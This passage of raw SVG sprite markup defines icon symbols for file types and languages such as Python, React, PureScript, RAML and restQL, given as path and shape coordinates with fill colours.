75.6 60 64.9 60h-.1c-10.7 0-18.4 5.5-23.2 11.4-5 6.1-4.6 8.5-4.6 14.3 0 21 7.4 15 12.3 17.6 5 2.5 10.2 1.7 15.5 1.7h.1c5.4 0 10.5.7 15.5-1.8 4.9-2.5 12.3 3.7 12.3-17.3.1-5.8.4-8.4-4.6-14.5z"/><path class="hyst8" d="M64.4 65.2s-.7 9.7-2.1 11.6l2.6-.6-.5-11z"/><path class="hyst8" d="M65.1 65.2s.7 9.7 2.1 11.6l-2.6-.6.5-11z"/><path class="hyst7" d="M56.7 62.9c-1-2.3 2.6-6 8.3-6.1 5.7 0 9.3 3.7 8.3 6.1-1 2.4-4.6 3.1-8.3 3.2-3.6-.1-7.3-.8-8.3-3.2z"/><path d="M65 65.2c0-.4 3.4-.5 5.2-1.7 0 0-3.7 1.2-4.5.7-.8-.4-1-1.6-1-1.6s-.3 1.2-.9 1.6c-.7.4-4.9-.7-4.9-.7s5.6 1.4 5.6 1.7c0 .3-.1 1.3-.1 2 0 2.5 0 8.7.4 9.2.6.9.4-6.7.4-9.2-.1-.8-.1-1.6-.2-2z"/><path class="hyst9" d="M65.2 78.6c1.7 0 4.7 1.2 7.4 3.1-2.6-2.9-5.7-4.9-7.4-4.9-1.8 0-5.6 2.2-8.3 5.4 2.8-2.2 6.4-3.6 8.3-3.6z"/><path class="hyst8" d="M64.5 96.3c-3.8 0-7.5-1.2-10.9-2.1-.7-.2-1.4.3-2.1.1-6.3-2-11.4-5.4-14.5-9.7v1c0 21 7.4 15.1 12.3 17.6 5 2.5 10.2 1.7 15.5 1.7h.1c5.4 0 10.5.7 15.5-1.8 4.9-2.5 12.3 3.6 12.3-17.4 0-.8 0-1.6.1-2.3-2.9 4.7-8.2 8.4-14.8 10.6-.6.2-2-.3-2.6-.2-3.6 1.2-6.8 2.5-10.9 2.5z"/><path class="hyst8" d="M55 85s-2.5 7.5-.8 10.8l-2.3-1s1.7-7.6 3.1-9.8zM74.8 85s2.5 7.5.8 10.8l2.3-1s-1.8-7.6-3.1-9.8z"/><path class="hyst3" d="M48.6 46.7c-.9 3.1-4.1 13.6 2.1 10.1 0 0-2.6 1.5-4.2 7.2s-5.8 6.4-5.8 6.4-6.7 1.3-11.7-3c-4.2-3.6-4.9-10-3.1-14.9s5-6.3 9.7-7.3c4.7-1.1 14-2 13 1.5z"/><path d="M64.9 76.8c2.7 0 11.1 5.8 11.2 12.9v-.4c0-7.4-6.8-13.3-11.2-13.3-4.4 0-11.2 6-11.2 13.3v.4c.1-7.1 8.5-12.9 11.2-12.9z"/><ellipse transform="rotate(-14.465 66.712 61.468)" class="hyst10" cx="66.7" cy="61.5" rx=".8" ry="1.5"/><ellipse transform="rotate(17.235 62.371 61.462)" class="hyst10" cx="62.4" cy="61.5" rx=".8" ry="1.5"/><circle cx="37.2" cy="58.1" r="8.8"/><circle class="hyst4" cx="39.5" cy="54.2" r="2.3"/><path class="hyst9" d="M67.5 58.2c0-.1-2.3 1-2.9 1.1-.6-.1-2.9-1.2-2.9-1.1h5.8z"/><path class="hyst1" d="M50 57.7s-7.9 5.4-12.2 10.7c-4.3 5.3-4.2 6.3-4.2 6.3l3.1 1.4s4.4-8.3 9.8-11.4 6.1-5.7 6.1-5.7L50 57.7z"/><path class="hyst3" d="M32.7 41.7S30 49.1 24 52.2c0 0 9.4-1.1 8.7-10.5zM95.8 41.7s2.7 7.4 8.7 10.5c0 0-9.4-1.1-8.7-10.5zM78.7 55.5s-5.9-6.2-13.8-6.4h.1.1c-8 .2-13.8 6.4-13.8 6.4 6.9-4.8 12.8-4.7 13.8-4.7-.1 0 6.7-.1 13.6 4.7zM71.8 42.5s-3-4.2-7-4.3h.2c-3 .1-6.9 4.3-6.9 4.3 3.4-3.3 6.9-3.2 6.9-3.2s3.3-.1 6.8 3.2zM37.2 73.2s-4.7 2.3-8.1.9H29c-3-1.7-4.5-6.8-4.5-6.8s3 9 12.7 5.9zM92 73.2s4.7 2.3 8.1.9c4-1.7 4.6-6.8 4.6-6.8s-3 9-12.7 5.9z"/><path class="hyst3" d="M42.6 41.2c2.6-.5 6.9-.6 10.3.5 4.3 1.5.8 7 1.7 7.3.9.3 2.1-3.8 10.1-3.4 8.1.4 9 4 10.1 3.4s-1.1-10 11-7.8c0 0-12.7-3.4-12.1 5.8 0 0-7.3-5.6-17.5-.6.1 0 2.7-8.6-13.6-5.2zM86.9 41.2c.2 0 .3.1.4.1.1 0-.1-.1-.4-.1zM86.9 41.2zM39.1 28.9S28.3 42.5 26.7 47.7c-1.6 5.3-2.8 27-4.2 30.1l-5-21.4 9.2-22.3 12.4-5.2zM89.9 28.9s10.8 13.6 12.4 18.8c1.6 5.3 2.8 27 4.2 30.1l5-21.4-9.2-22.3-12.4-5.2z"/><path class="hyst7" d="M89.4 28.9s11.6 9.7 15 20.9c3.4 11.2 2 24.8 4.6 26.5 3.7 2.4 7.9-11.9 9.3-13.4 2.2-2.4 9.5-8.5 10-9.6.5-1.1-14.8-17.8-21.5-21.1-8.1-3.8-18.1-4.1-17.4-3.3z"/><path class="hyst8" d="M99.3 34.9s13.7 17.5 13.5 39.3l5.5-11.2c-.1 0-4.9-14.3-19-28.1z"/><path class="hyst7" d="M39.1 28.9s-11.6 9.7-15 20.9-2 24.8-4.6 26.5c-3.7 2.4-7.9-11.9-9.3-13.4C8 60.5.7 54.4.2 53.3-.3 52.2 15 35.5 21.7 32.2c8.1-3.8 18.1-4.1 17.4-3.3z"/><path class="hyst8" d="M29.2 34.9S15.5 52.4 15.7 74.2L10.3 63s4.8-14.3 18.9-28.1z"/><path class="hyst3" d="M21.8 74.6s1 5.4 2.6 7.1.5-1.3.5-1.3-1.7-.9-1.4-7.8-1.7 2-1.7 2zM107.1 74.6s-1 5.4-2.6 7.1-.5-1.3-.5-1.3 1.7-.9 1.4-7.8 1.7 2 1.7 2z"/><g><circle class="hyst8" cx="54.5" cy="70.5" r=".8"/><circle class="hyst8" cx="49.9" cy="75.3" r=".8"/><circle class="hyst8" cx="48.4" cy="70.5" r=".8"/></g><g><circle class="hyst8" cx="74" cy="70.5" r=".8"/><circle class="hyst8" cx="78.6" cy="75.3" r=".8"/><circle class="hyst8" cx="80.1" cy="70.5" r=".8"/></g></symbol><symbol viewBox="0 0 50 50" id="puppet" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -247)" fill="#fbc02d"><path stroke-width=".283" d="M11.559 249.467h13.587v13.587H11.559zM27.435 265.056h13.587v13.587H27.435zM11.559 281.074h13.587v13.587H11.559z"/><path stroke-width=".256" d="M16.62 251.615l18.305 18.305-3.236 3.236-18.305-18.305z"/><path stroke-width=".256" d="M37.834 271.331L19.53 289.636l-3.237-3.237 18.305-18.304z"/></g></symbol><symbol viewBox="0 0 100 99.999997" id="purescript" xmlns="http://www.w3.org/2000/svg"><path clip-path="url(#SVGID_2_)" d="M98.079 38.548L79.22 19.68l-5.087 5.088L90.447 41.09 74.134 57.41l5.087 5.087 18.858-18.86a3.59 3.59 0 0 0 1.055-2.55 3.578 3.578 0 0 0-1.055-2.54M25.483 42.794l-5.09-5.089L1.53 56.568a3.566 3.566 0 0 0-1.05 2.545c0 .961.373 1.863 1.05 2.542L20.394 80.52l5.089-5.086L9.162 59.113z" fill="#42a5f5" stroke-width="1.192"/><path clip-path="url(#SVGID_2_)" transform="matrix(1.19175 0 0 1.19175 -306.84 -629.047)" fill="#42a5f5" d="M281.841 551.736l6.461 6.037h28.379l-6.461-6.037zM288.302 566.861l-6.463 6.035h28.381l6.463-6.035zM281.838 581.982l6.464 6.035h28.381l-6.463-6.035z"/></symbol><symbol viewBox="0 0 24 24" id="python" xmlns="http://www.w3.org/2000/svg"><path d="M19.14 7.5A2.86 2.86 0 0 1 22 10.36v3.78A2.86 2.86 0 0 1 19.14 17H12c0 .39.32.96.71.96H17v1.68a2.86 2.86 0 0 1-2.86 2.86H9.86A2.86 2.86 0 0 1 7 19.64v-3.75a2.85 2.85 0 0 1 2.86-2.85h5.25a2.85 2.85 0 0 0 2.85-2.86V7.5h1.18m-4.28 11.79c-.4 0-.72.3-.72.89 0 .59.32.71.72.71a.71.71 0 0 0 .71-.71c0-.59-.32-.89-.71-.89m-10-1.79A2.86 2.86 0 0 1 2 14.64v-3.78A2.86 2.86 0 0 1 4.86 8H12c0-.39-.32-.96-.71-.96H7V5.36A2.86 2.86 0 0 1 9.86 2.5h4.28A2.86 2.86 0 0 1 17 5.36v3.75a2.85 2.85 0 0 1-2.86 2.85H8.89a2.85 2.85 0 0 0-2.85 2.86v2.68H4.86M9.14 5.71c.4 0 .72-.3.72-.89 0-.59-.32-.71-.72-.71-.39 0-.71.12-.71.71s.32.89.71.89z"/><path d="M9.264 22.379c-.895-.24-1.581-.799-1.947-1.582-.228-.489-.237-.606-.238-2.957-.001-2.745.057-3.074.666-3.785.193-.226.568-.517.833-.648.47-.23.579-.239 3.839-.288 3.131-.048 3.386-.065 3.814-.264.626-.291 1.07-.687 1.4-1.247.27-.46.278-.522.311-2.29l.034-1.82.932.051c1.075.058 1.504.211 2.098.748.853.77.869.841.869 3.957 0 2.434-.02 2.783-.18 3.075a3.365 3.365 0 0 1-1.337 1.33l-.517.273-3.95.031-3.951.031.068.274c.037.151.164.377.282.503.209.224.262.229 2.433.229h2.22v1.05c0 1.653-.394 2.437-1.54 3.072l-.545.302-2.644.018c-1.455.01-2.782-.018-2.95-.063zm6.12-1.692c.22-.222.253-.325.206-.675-.07-.523-.278-.73-.732-.73-.467 0-.672.217-.735.78-.042.372-.012.496.163.672.3.3.77.28 1.097-.047z" fill="#fc0" stroke="#fc0" stroke-width=".102"/><path d="M9.349 22.38c-.911-.15-1.936-1.074-2.176-1.963-.073-.273-.101-1.279-.079-2.868.033-2.317.047-2.473.27-2.926.13-.263.401-.623.603-.8.674-.592.87-.63 3.484-.675 4.399-.076 4.927-.166 5.705-.967.642-.662.706-.9.774-2.883l.061-1.784.951.055c.523.031 1.11.122 1.304.204.54.225 1.358 1.042 1.472 1.47.153.572.243 3.18.16 4.617-.071 1.23-.093 1.327-.395 1.78-.193.288-.577.647-.966.903l-.647.425-3.922.008c-2.157.004-3.942.028-3.966.052-.115.115.354.82.587.883.14.038 1.181.073 2.314.079l2.06.01v.91c0 1.739-.326 2.446-1.454 3.162l-.631.4-2.543-.011c-1.398-.007-2.733-.043-2.966-.081zm5.98-1.718c.285-.256.313-.328.251-.658-.09-.483-.301-.682-.722-.682-.436 0-.625.193-.715.73-.065.384-.044.453.2.663.358.308.595.295.985-.053z" fill="#fdd835" stroke-width=".102"/><path d="M4.281 17.396c-.88-.215-1.714-.935-2.024-1.747-.149-.389-.168-.804-.142-3.041.027-2.26.054-2.638.215-2.962.259-.519.851-1.092 1.392-1.346.437-.206.632-.217 4.408-.245l3.95-.03-.067-.275a1.367 1.367 0 0 0-.282-.504c-.21-.224-.263-.23-2.433-.23h-2.22l.002-1.143c.003-1.338.157-1.795.84-2.493.746-.763 1.103-.838 4.025-.838 2.961 0 3.28.06 4.067.768.37.333.572.621.728 1.037.201.539.213.735.183 3.072-.035 2.777-.045 2.824-.78 3.598-.787.829-.76.824-4.59.883-3.812.06-3.797.057-4.61.806-.765.706-.917 1.2-.964 3.133l-.04 1.653-.677-.01c-.371-.007-.813-.045-.98-.086zM9.59 5.551c.237-.204.286-.326.286-.72 0-.547-.201-.763-.71-.763-.502 0-.765.248-.765.724 0 .492.141.782.439.902.345.14.444.12.75-.143z" fill="#3c78aa"/></symbol><symbol viewBox="0 0 24 24" id="r" xmlns="http://www.w3.org/2000/svg"><path d="M11.956 4.05c-5.694 0-10.354 3.106-10.354 6.947 0 3.396 3.686 6.212 8.531 6.813v2.205h3.53V17.82c.88-.093 1.699-.259 2.475-.497l1.43 2.692h3.996l-2.402-4.048c1.936-1.263 3.147-3.034 3.147-4.97 0-3.841-4.659-6.947-10.354-6.947m1.584 2.712c4.349 0 7.558 1.45 7.558 4.753 0 1.77-.952 3.013-2.505 3.779a1.081 1.081 0 0 1-.228-.156c-.373-.165-.994-.352-.994-.352s3.085-.227 3.085-3.302-3.23-3.127-3.23-3.127h-7.092v7.413c-2.64-.766-4.462-2.392-4.462-4.255 0-2.63 3.52-4.753 7.868-4.753m.156 4.12h2.143s.983-.05.983.974c0 1.004-.983 1.004-.983 1.004h-2.143v-1.977m-.031 4.566h.952c.186 0 .28.052.445.207.135.103.28.3.404.476-.57.073-1.17.104-1.801.104z" fill="#1976d2" stroke-width="1.035"/></symbol><symbol viewBox="0 0 24 24" id="raml" xmlns="http://www.w3.org/2000/svg"><path d="M5 3h2v2H5v5a2 2 0 0 1-2 2 2 2 0 0 1 2 2v5h2v2H5c-1.07-.27-2-.9-2-2v-4a2 2 0 0 0-2-2H0v-2h1a2 2 0 0 0 2-2V5a2 2 0 0 1 2-2m14 0a2 2 0 0 1 2 2v4a2 2 0 0 0 2 2h1v2h-1a2 2 0 0 0-2 2v4a2 2 0 0 1-2 2h-2v-2h2v-5a2 2 0 0 1 2-2 2 2 0 0 1-2-2V5h-2V3h2m-7 12a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m-4 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m8 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="razor" xmlns="http://www.w3.org/2000/svg"><path d="M15.45 11.91c-.11-2.21-1.75-3.54-3.73-3.54h-.08c-2.29 0-3.55 1.8-3.55 3.84 0 2.29 1.53 3.74 3.54 3.74 2.25 0 3.72-1.65 3.83-3.59m-3.81-5.97c1.53 0 2.97.68 4.02 1.74 0-.51.33-.89.83-.89h.11c.74 0 .89.7.89.92v7.9c-.04.52.54.78.87.44 1.27-1.29 2.78-6.69-.79-9.81-3.33-2.92-7.8-2.44-10.18-.8-2.52 1.74-4.14 5.61-2.57 9.22 1.71 3.95 6.61 5.13 9.52 3.95 1.48-.59 2.15 1.4.65 2.05-2.34.99-8.77.89-11.78-4.32-2.03-3.52-1.93-9.71 3.46-12.92C10.81 1.42 16.24 2.1 19.5 5.5c3.45 3.6 3.25 10.3-.1 12.91-1.51 1.18-3.76.03-3.74-1.7l-.02-.56a5.611 5.611 0 0 1-3.99 1.66C8.63 17.81 6 15.15 6 12.13c0-3.05 2.63-5.74 5.65-5.74z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="react" xmlns="http://www.w3.org/2000/svg"><path d="M12 10.11c1.03 0 1.87.84 1.87 1.89 0 1-.84 1.85-1.87 1.85-1.03 0-1.87-.85-1.87-1.85 0-1.05.84-1.89 1.87-1.89M7.37 20c.63.38 2.01-.2 3.6-1.7-.52-.59-1.03-1.23-1.51-1.9a22.7 22.7 0 0 1-2.4-.36c-.51 2.14-.32 3.61.31 3.96m.71-5.74l-.29-.51c-.11.29-.22.58-.29.86.27.06.57.11.88.16l-.3-.51m6.54-.76l.81-1.5-.81-1.5c-.3-.53-.62-1-.91-1.47C13.17 9 12.6 9 12 9c-.6 0-1.17 0-1.71.03-.29.47-.61.94-.91 1.47L8.57 12l.81 1.5c.3.53.62 1 .91 1.47.54.03 1.11.03 1.71.03.6 0 1.17 0 1.71-.03.29-.47.61-.94.91-1.47M12 6.78c-.19.22-.39.45-.59.72h1.18c-.2-.27-.4-.5-.59-.72m0 10.44c.19-.22.39-.45.59-.72h-1.18c.2.27.4.5.59.72M16.62 4c-.62-.38-2 .2-3.59 1.7.52.59 1.03 1.23 1.51 1.9.82.08 1.63.2 2.4.36.51-2.14.32-3.61-.32-3.96m-.7 5.74l.29.51c.11-.29.22-.58.29-.86-.27-.06-.57-.11-.88-.16l.3.51m1.45-7.05c1.47.84 1.63 3.05 1.01 5.63 2.54.75 4.37 1.99 4.37 3.68 0 1.69-1.83 2.93-4.37 3.68.62 2.58.46 4.79-1.01 5.63-1.46.84-3.45-.12-5.37-1.95-1.92 1.83-3.91 2.79-5.38 1.95-1.46-.84-1.62-3.05-1-5.63-2.54-.75-4.37-1.99-4.37-3.68 0-1.69 1.83-2.93 4.37-3.68-.62-2.58-.46-4.79 1-5.63 1.47-.84 3.46.12 5.38 1.95 1.92-1.83 3.91-2.79 5.37-1.95M17.08 12c.34.75.64 1.5.89 2.26 2.1-.63 3.28-1.53 3.28-2.26 0-.73-1.18-1.63-3.28-2.26-.25.76-.55 1.51-.89 2.26M6.92 12c-.34-.75-.64-1.5-.89-2.26-2.1.63-3.28 1.53-3.28 2.26 0 .73 1.18 1.63 3.28 2.26.25-.76.55-1.51.89-2.26m9 2.26l-.3.51c.31-.05.61-.1.88-.16-.07-.28-.18-.57-.29-.86l-.29.51m-2.89 4.04c1.59 1.5 2.97 2.08 3.59 1.7.64-.35.83-1.82.32-3.96-.77.16-1.58.28-2.4.36-.48.67-.99 1.31-1.51 1.9M8.08 9.74l.3-.51c-.31.05-.61.1-.88.16.07.28.18.57.29.86l.29-.51m2.89-4.04C9.38 4.2 8 3.62 7.37 4c-.63.35-.82 1.82-.31 3.96a22.7 22.7 0 0 1 2.4-.36c.48-.67.99-1.31 1.51-1.9z" fill="#00bcd4"/></symbol><symbol viewBox="0 0 24 24" id="readme" xmlns="http://www.w3.org/2000/svg"><path d="M13 9h-2V7h2m0 10h-2v-6h2m-1-9A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10A10 10 0 0 0 12 2z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="reason" xmlns="http://www.w3.org/2000/svg"><path d="M3 3v18h18V3H3zm5.119 8.993h2.798c.382 0 .71.025.985.075.275.05.534.159.774.326.244.168.435.386.577.654.145.265.218.598.218 1 0 .552-.112 1.001-.335 1.35-.22.348-.536.638-.947.87l2.16 3.203H12.31l-1.763-2.742h-.77v2.742H8.12v-7.478zm6.594 0h4.676v1.447h-3.018v1.29h2.802v1.447h-2.802v1.848h3.018v1.446h-4.676v-7.478zM9.778 13.37v2.014h.513c.266 0 .49-.014.67-.044.18-.03.329-.1.45-.207a.96.96 0 0 0 .253-.34c.055-.128.082-.297.082-.508 0-.187-.034-.35-.1-.483a.698.698 0 0 0-.343-.317 1.086 1.086 0 0 0-.395-.095 6.012 6.012 0 0 0-.526-.02h-.604z" fill="#f44336" stroke-width="1.067"/></symbol><symbol viewBox="0 0 172 193" id="restql" xmlns="http://www.w3.org/2000/svg"><title>Group</title><g transform="translate(14.767 16.713) scale(.82795)" fill="none"><path d="M171.39 55.799c-.975-6.147-4.673-11.642-10.15-14.805L96.381 3.546C93.217 1.72 89.615.756 85.964.756s-7.253.964-10.415 2.788L10.69 40.992A20.896 20.896 0 0 0 .272 59.035v74.89a20.894 20.894 0 0 0 10.416 18.042l64.859 37.446c3.165 1.827 6.767 2.791 10.417 2.791s7.252-.964 10.415-2.79l64.859-37.445c5.479-3.166 9.178-8.66 10.152-14.808zm-16.516 85.147L90.017 178.39a8.104 8.104 0 0 1-8.108 0l-64.857-37.444a8.109 8.109 0 0 1-4.053-7.021v-74.89a8.109 8.109 0 0 1 4.053-7.021l64.857-37.446c1.254-.725 2.654-1.086 4.054-1.086s2.8.361 4.054 1.086l64.857 37.446a8.106 8.106 0 0 1 4.053 7.021v74.89a8.109 8.109 0 0 1-4.053 7.021z" fill="#83e8c2"/><path d="M158.93 59.035a8.109 8.109 0 0 0-4.053-7.021L90.02 14.568c-1.254-.725-2.654-1.086-4.054-1.086s-2.8.361-4.054 1.086L17.055 52.014a8.106 8.106 0 0 0-4.053 7.021v74.89a8.109 8.109 0 0 0 4.053 7.021l64.857 37.444a8.104 8.104 0 0 0 8.108 0l64.857-37.444a8.109 8.109 0 0 0 4.053-7.021zm-46.766 31.681c.119-.069.242-.118.365-.149.044-.012.088-.01.131-.018.076-.012.152-.029.228-.029l.015.001c.02.001.038.005.059.006.093.005.184.019.273.04l.1.03c.077.025.15.057.223.095.028.014.057.027.084.043.094.057.184.122.263.199.007.008.013.017.021.024.07.071.133.15.188.235.018.029.033.059.05.09.04.072.072.148.099.229a1.512 1.512 0 0 1 .081.46v16.209l-3.278 1.893a1.548 1.548 0 0 0-.678.83 1.533 1.533 0 0 0-.098.514v3.785l-14.038 8.104-.01.004a1.55 1.55 0 0 1-.354.146c-.045.012-.09.011-.135.018-.074.012-.15.029-.225.029l-.014-.001c-.02-.001-.039-.005-.059-.006a1.463 1.463 0 0 1-.273-.041c-.034-.008-.066-.019-.1-.03a1.318 1.318 0 0 1-.223-.094c-.029-.015-.057-.027-.084-.044a1.45 1.45 0 0 1-.263-.198c-.009-.008-.015-.019-.023-.027a1.495 1.495 0 0 1-.185-.232c-.019-.029-.034-.06-.051-.09a1.422 1.422 0 0 1-.098-.229 1.702 1.702 0 0 1-.033-.101 1.487 1.487 0 0 1-.048-.358l-.001-.002v-20.053a1.446 1.446 0 0 1 .727-1.255zM85.24 31.369a1.449 1.449 0 0 1 1.452 0l45.741 26.41a1.45 1.45 0 0 1 0 2.512l-17.366 10.027a1.457 1.457 0 0 1-1.452 0l-15.49-8.943 1.727-.996a1.552 1.552 0 0 0 0-2.688l-13.111-7.57c-.239-.139-.508-.207-.775-.207s-.535.068-.775.207l-3.278 1.893-14.038-8.104a1.451 1.451 0 0 1 0-2.513zM57.59 47.558c.251 0 .501.065.726.194l15.489 8.942-1.727.997a1.552 1.552 0 0 0 0 2.688l1.727.996-15.488 8.943a1.457 1.457 0 0 1-1.452 0L39.499 60.291a1.45 1.45 0 0 1 0-2.512l17.366-10.027c.225-.129.475-.194.725-.194zm-9.56 92.328c-.241 0-.489-.062-.724-.196l-17.365-10.026a1.45 1.45 0 0 1-.726-1.256V75.59c0-.847.694-1.453 1.452-1.453.242 0 .49.062.724.197l17.366 10.025c.449.26.726.738.726 1.257v17.886l-1.727-.997a1.552 1.552 0 0 0-2.327 1.344v15.139c0 .555.295 1.067.775 1.344l3.278 1.894v16.209a1.45 1.45 0 0 1-1.452 1.451zm29.828 14.929a1.452 1.452 0 0 1-2.177 1.257l-17.365-10.026a1.452 1.452 0 0 1-.726-1.257v-17.885l1.726.996c.25.145.515.211.773.211.811 0 1.554-.648 1.554-1.555v-1.993l15.489 8.942c.449.26.726.738.726 1.257zm0-32.768c0 .127-.02.246-.049.36-.009.035-.021.067-.032.101-.026.08-.059.157-.099.229-.017.03-.032.061-.05.09a1.48 1.48 0 0 1-.188.235l-.021.025a1.51 1.51 0 0 1-.264.199c-.026.016-.055.028-.082.043a1.597 1.597 0 0 1-.324.124 1.362 1.362 0 0 1-.278.041c-.018.001-.036.006-.055.006l-.015.001c-.077 0-.155-.018-.233-.03-.043-.007-.084-.005-.125-.017a1.484 1.484 0 0 1-.366-.149l-14.035-8.104v-3.784a1.545 1.545 0 0 0-.776-1.343l-3.276-1.892V91.976c0-.127.02-.246.049-.361.009-.034.021-.066.032-.1a1.33 1.33 0 0 1 .099-.229c.017-.03.032-.062.051-.091.054-.084.116-.163.187-.234l.021-.025c.079-.076.168-.142.263-.199.027-.016.056-.029.084-.043a1.476 1.476 0 0 1 .601-.166c.019 0 .036-.005.055-.005l.015-.001c.078 0 .157.018.236.03.04.007.081.005.122.017.124.031.246.08.366.149l17.361 10.023a1.456 1.456 0 0 1 .726 1.259zm-9.984-45.373a1.448 1.448 0 0 1-.544-.55 1.466 1.466 0 0 1 0-1.413c.121-.219.303-.41.544-.55l14.038-8.104 3.277 1.892c.48.276 1.071.276 1.551 0l3.278-1.893 14.038 8.105a1.45 1.45 0 0 1 0 2.513L86.691 86.7a1.447 1.447 0 0 1-1.452 0zm74.842 51.733c0 .518-.276.997-.726 1.256l-45.741 26.409a1.452 1.452 0 0 1-2.177-1.257v-20.053c0-.519.277-.997.727-1.257l15.488-8.941v1.992c0 .906.743 1.555 1.553 1.555.26 0 .523-.066.774-.21l13.11-7.57a1.55 1.55 0 0 0 .776-1.344v-3.784l14.038-8.105a1.452 1.452 0 0 1 2.177 1.257v20.052zm0-32.764c0 .519-.276.997-.726 1.256l-15.489 8.943v-1.993c0-.906-.744-1.554-1.554-1.554a1.519 1.519 0 0 0-.773.21l-1.727.996V85.616c0-.519.277-.997.727-1.257l17.365-10.025c.234-.135.482-.197.724-.197.758 0 1.453.606 1.453 1.453z" fill="#111d5a"/><g fill="#83e8c2"><path d="M59.402 90.568zM94.485 123.06zM94.771 123.29zM77.775 122.51zM77.072 123.33zM77.418 123.09zM77.856 122.05zM76.749 123.45zM94.119 122.41zM77.131 133.51l-15.489-8.942v1.993c0 .906-.743 1.555-1.554 1.555a1.53 1.53 0 0 1-.773-.211l-1.726-.996v17.885c0 .519.276.997.726 1.257l17.365 10.026a1.452 1.452 0 0 0 2.177-1.257v-20.053a1.454 1.454 0 0 0-.726-1.257zM94.25 122.74zM110.28 111.42zM94.494 100.98c.088-.089.189-.168.303-.232l17.365-10.026-17.365 10.026a1.392 1.392 0 0 0-.303.232zM77.627 122.83zM58.027 90.936zM58.374 90.693zM59.044 90.521l-.015.001c.083-.001.167.015.251.029-.079-.012-.158-.03-.236-.03zM57.819 91.195zM58.696 90.568zM57.589 91.977zM76.043 123.46zM57.67 91.516zM75.677 123.31l-14.035-8.11zM76.401 123.5l.015-.001c-.082.001-.166-.016-.248-.029.078.012.156.03.233.03zM112.16 90.716zM77.662 101.27zM113.64 90.734zM96.237 123.31zM113.33 90.597zM112.89 90.52c-.075 0-.151.018-.228.029.081-.014.162-.029.242-.028l-.014-.001zM141.26 74.137c-.241 0-.489.062-.724.197l-17.365 10.025c-.449.26-.727.738-.727 1.257v17.885l1.727-.996c.25-.145.515-.211.773-.21.81 0 1.554.647 1.554 1.554v1.993l15.489-8.943a1.45 1.45 0 0 0 .726-1.256V75.59c0-.847-.695-1.453-1.453-1.453zM112.96 90.526zM95.523 123.5c.074 0 .15-.018.225-.029-.08.013-.159.028-.238.028l.013.001zM95.451 123.5zM85.238 86.7zM95.078 123.43zM141.26 106.9c-.241 0-.489.062-.724.196l-14.038 8.105v3.784c0 .555-.296 1.067-.776 1.344l-13.11 7.57c-.251.144-.515.21-.774.21-.81 0-1.553-.648-1.553-1.555v-1.992l-15.488 8.941c-.449.26-.727.738-.727 1.257v20.053a1.452 1.452 0 0 0 2.177 1.257l45.741-26.409a1.45 1.45 0 0 0 .726-1.256v-20.053a1.454 1.454 0 0 0-1.454-1.452zM67.871 41.396a1.451 1.451 0 0 0 0 2.513l14.038 8.104 3.278-1.893c.24-.139.508-.207.775-.207s.536.068.775.207l13.111 7.57a1.552 1.552 0 0 1 0 2.688l-1.727.996 15.49 8.943a1.457 1.457 0 0 0 1.452 0l17.366-10.027a1.45 1.45 0 0 0 0-2.512l-45.741-26.41a1.449 1.449 0 0 0-1.452 0zM39.497 57.779a1.45 1.45 0 0 0 0 2.512l17.366 10.027a1.457 1.457 0 0 0 1.452 0l15.488-8.943-1.727-.996a1.552 1.552 0 0 1 0-2.688l1.727-.997-15.489-8.942a1.458 1.458 0 0 0-1.451 0zM49.481 138.43v-16.209l-3.278-1.894a1.55 1.55 0 0 1-.775-1.344v-15.139c0-.906.743-1.555 1.554-1.554.259 0 .523.065.773.21l1.727.997V85.611a1.45 1.45 0 0 0-.726-1.257L31.39 74.33a1.436 1.436 0 0 0-.724-.197c-.758 0-1.452.606-1.452 1.453v52.817c0 .518.276.997.726 1.256l17.365 10.026a1.45 1.45 0 0 0 2.176-1.255zM114.34 108.18l-3.278 1.893 3.278-1.893V91.971zM114.11 91.193zM114.16 91.283z"/></g><g fill="#de5941"><path d="M94.494 100.98a1.45 1.45 0 0 0-.424 1.023v20.053l.001.002c0 .126.02.244.048.358.01.034.021.066.033.101.026.08.059.156.098.229.017.03.032.061.051.09.055.084.115.162.185.232.009.009.015.02.023.027.079.077.169.142.263.198.027.017.055.029.084.044a1.46 1.46 0 0 0 .596.165c.02.001.039.005.059.006.079 0 .158-.016.238-.028.045-.007.09-.006.135-.018.119-.031.238-.08.354-.146l.01-.004 14.038-8.104v-3.785c0-.18.04-.35.098-.514.122-.343.353-.643.678-.83l3.278-1.893V91.977c0-.127-.021-.246-.049-.361-.009-.033-.021-.065-.032-.099a1.266 1.266 0 0 0-.099-.229c-.017-.031-.032-.061-.05-.09a1.425 1.425 0 0 0-.188-.235l-.021-.024a1.41 1.41 0 0 0-.263-.199c-.027-.016-.056-.029-.084-.043a1.509 1.509 0 0 0-.323-.125 1.591 1.591 0 0 0-.273-.04c-.021-.001-.039-.005-.059-.006-.08-.001-.161.015-.242.028-.043.008-.087.006-.131.018-.123.031-.246.08-.365.149l-17.365 10.026a1.447 1.447 0 0 0-.302.233zM77.13 100.74L59.769 90.717a1.424 1.424 0 0 0-.366-.149c-.041-.012-.082-.01-.122-.017-.084-.015-.168-.03-.251-.029-.019 0-.036.005-.055.005-.095.005-.188.02-.278.041-.034.009-.065.02-.099.03a1.406 1.406 0 0 0-.224.095c-.028.014-.057.027-.084.043a1.515 1.515 0 0 0-.263.199l-.021.025c-.07.071-.133.15-.187.234-.019.029-.034.061-.051.091-.04.073-.072.149-.099.229a1.463 1.463 0 0 0-.081.461v16.206l3.276 1.892a1.547 1.547 0 0 1 .776 1.343v3.784l14.035 8.104c.119.068.242.117.366.149.041.012.082.01.125.017.082.014.166.03.248.029.019 0 .037-.005.055-.006.095-.004.188-.019.278-.041.034-.008.065-.019.099-.029.077-.025.152-.058.225-.095.027-.015.056-.027.082-.043.095-.058.185-.123.264-.199l.021-.025c.07-.071.133-.15.188-.235.018-.029.033-.06.05-.09.04-.072.072-.149.099-.229a1.448 1.448 0 0 0 .081-.461v-20.047a1.456 1.456 0 0 